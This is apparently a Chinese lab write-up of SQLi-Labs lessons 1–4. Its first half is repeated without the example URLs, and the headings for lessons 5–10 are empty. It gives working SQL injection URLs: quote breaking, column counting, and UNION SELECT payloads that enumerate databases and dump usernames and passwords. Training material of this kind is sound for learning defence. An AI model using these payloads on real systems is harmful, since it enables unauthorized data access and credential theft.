sqli-labs:Less-1~Less-10
2018-03-02 10:06
671 查看
MySQL的相关函数:
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
select database():查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
linux的nginx一是/usr/local/nginx/html,/home/wwwroot/default,
/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
winserver的iis默认路径是c:/inetpub/wwwroot/
这篇简短的教程介绍了SQL 注入是怎样工作的,攻击是怎样发生的,以及什么是应用程序SQL漏洞。
我们将要使用的实验室是SQLi Labs,它是一个可以从https://github.com/Audi-1/sqli-labs免费下载,以便我们研究学习以及编写安全的程序。
安装:
从https://github.com/Audi-1/sqli-labs下载源代码
将源代码复制到Apache webroot 文件夹(htddocs,/var/www)
打开sql-connections文件夹下的“db-creds.inc”文件
修改mysql用户名和密码为你自己的
打开浏览器,通过localhost的index.html访问文件夹
点击setup/resetDB 链接在mysql中创造数据库
开始游戏!
为了方便学习查看,可以在源码中的$sql下一句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)
我们得到了登陆名 Dumb 和密码 Dump。我们在URL上添加了一个参数,并让这个参数指向第一条记录。这是便生成了一个从浏览器到数据库的表中的一个快速的查询,从而来获取“id=1”的记录。同样,你可以构造查询来得到后面的记录如 2,3,4……
后台语句是这样的
加个单引号
发现报错信息多出一个单引号,后面闭合语句也是用的单引号。构造注入语句:
返回正常,说明sql语句执行成功了,因为条件永远为真,所以正常返回。
猜解字段数,
第一个单引号的作用是闭合id参数,然后执行order by命令,需要用%23将后面的sql语句注释掉(%23 是#url编码之后的值,因为sql语句在进入数据查询的时候会进行一次url解码,所以这个地方必须是url编码之后的值)。
当为3是正好返回正常,说明字段数为3。
以下两个注入可以成功执行。
获取当前数据库名
#号是为了注释后面的语句
获取所有数据库名
获取表名
获取列名
获取数据
获取数据库版本
这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号),不写单引号的注入就更简单了
现在执行的查询语句如下:
所以这里的奇数个单引号破坏了查询,导致抛出错误。
根据返回错误信息,发现是数字型注入不需要单引号去闭合语句。
现在,从开发者的视角来看,为了对这样的错误采取保护措施,我们可以注释掉剩余的查询:
注意:一定要在注释符号后加空格,或者URL编码后的空格(%20),否则注释符号不会产生作用。
可以成功注入的有:
可以判断出只是多出一个括号而已,所以在单引号后面加一个后括号。
注入成功。
构造注入语句为:
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
select database():查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
linux的nginx一是/usr/local/nginx/html,/home/wwwroot/default,
/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
winserver的iis默认路径是c:/inetpub/wwwroot/
这篇简短的教程介绍了SQL 注入是怎样工作的,攻击是怎样发生的,以及什么是应用程序SQL漏洞。
我们将要使用的实验室是SQLi Labs,它是一个可以从https://github.com/Audi-1/sqli-labs免费下载,以便我们研究学习以及编写安全的程序。
安装:
从https://github.com/Audi-1/sqli-labs下载源代码
将源代码复制到Apache webroot 文件夹(htddocs,/var/www)
打开sql-connections文件夹下的“db-creds.inc”文件
修改mysql用户名和密码为你自己的
打开浏览器,通过localhost的index.html访问文件夹
点击setup/resetDB 链接在mysql中创造数据库
开始游戏!
为了方便学习查看,可以在源码中的$sql下一句写以下php语句(就是输出拿到数据库查询的完整语句是怎么样的)
echo "$sql.<br>";
less 1 ~less 10都是get型的
less 1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
我们得到了登陆名 Dumb 和密码 Dump。我们在URL上添加了一个参数,并让这个参数指向第一条记录。这是便生成了一个从浏览器到数据库的表中的一个快速的查询,从而来获取“id=1”的记录。同样,你可以构造查询来得到后面的记录如 2,3,4……
后台语句是这样的
加个单引号
http://111.***.43.239/sqli-labs-master/Less-1/?id=1'
发现报错信息多出一个单引号,后面闭合语句也是用的单引号。构造注入语句:
http://111.***.43.239/sqli-labs-master/Less-1/?id=1' and '1'='1
返回正常,说明sql语句执行成功了,因为条件永远为真,所以正常返回。
猜解字段数,
http://111.***.43.239/sqli-labs-master/Less-1/?id=1' order by 5%23
第一个单引号的作用是闭合id参数,然后执行order by命令,需要用%23将后面的sql语句注释掉(%23 是#url编码之后的值,因为sql语句在进入数据查询的时候会进行一次url解码,所以这个地方必须是url编码之后的值)。
http://111.***.43.239/sqli-labs-master/Less-1/?id=1' order by 3%23
当为3是正好返回正常,说明字段数为3。
以下两个注入可以成功执行。
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,3%23
获取当前数据库名
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,(select database()) ,3%23
#号是为了注释后面的语句
获取所有数据库名
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23
获取表名
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union < 4000 span class="hljs-keyword">select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479)%23
获取列名
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
获取数据
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23
获取数据库版本
http://111.***.43.239/sqli-labs-master/Less-1/?id=' union select 1,@@version,database()%23
' or '1'='1 ' or 1=1 --+
less2 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
数据库语句:这里跟上面几乎一样,只是$id没用单引号引着,(因为sql语句对于数字型的数据可以不加单引号),不写单引号的注入就更简单了
现在执行的查询语句如下:
Select * from TABLE where id = 1' ;
所以这里的奇数个单引号破坏了查询,导致抛出错误。
根据返回错误信息,发现是数字型注入不需要单引号去闭合语句。
http://111.***.43.239/sqli-labs-master/Less-2/?id=-1 union select 1,@@version,database()%23
现在,从开发者的视角来看,为了对这样的错误采取保护措施,我们可以注释掉剩余的查询:
http://111.***.43.239/sqli-labs-master/Less-2/?id=1–-
注意:一定要在注释符号后加空格,或者URL编码后的空格(%20),否则注释符号不会产生作用。
可以成功注入的有:
or 1=1 or 1=1 --+
less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
数据库语句:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
可以判断出只是多出一个括号而已,所以在单引号后面加一个后括号。
http://111.***.43.239/sqli-labs-master/Less-3/?id=1′) and 1=1%23 正常 http://111.***.43.239/sqli-labs-master/Less-3/?id=1′) and 1=2%23 无返回
注入成功。
less 4 GET - Error based -Double quotes with twist string (基于错误的GET双引号变形字符型注入)
单引号并不会报错,双引号报错。并且需要后括号去闭合语句。构造注入语句为:
http://111.***.43.239/sqli-labs-master/Less-4/?id=1″) and 1=1%23 正常 http://111.***.43.239/sqli-labs-master/Less-4/?id=1″) and 1=2%23 无返回
less 5
less 6
less 7
less 8
less 9
less 10
相关文章推荐
- sqli-labs ---- Less-8 & Less-9 & Less-10
- SQLi-Labs 学习笔记(Less 1-10)
- Sqli-labs less 10
- Sqli-labs less 50
- Sqli-labs less 23
- SQLi-Labs 学习笔记(Less 51-65)
- Sqli-labs less 49
- Sqli-labs less 34
- Sqli-labs less 21
- sqli-labs-master第五关Less-5 Double Query- Single:方式一
- Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)
- Sqli-labs less 47
- sqli-labs ---- Less-5 & Less-6
- SQLi-Labs 学习笔记(Less 1-10)
- 【SQL注入之sqli-labs】Less 6 - Less 10 练习笔记
- Sqli-labs less 32
- Sqli-labs less 5
- sqli-labs ---- Less-7
- sqli-labs的sql注入——基础挑战之less11
- Sqli-labs less 30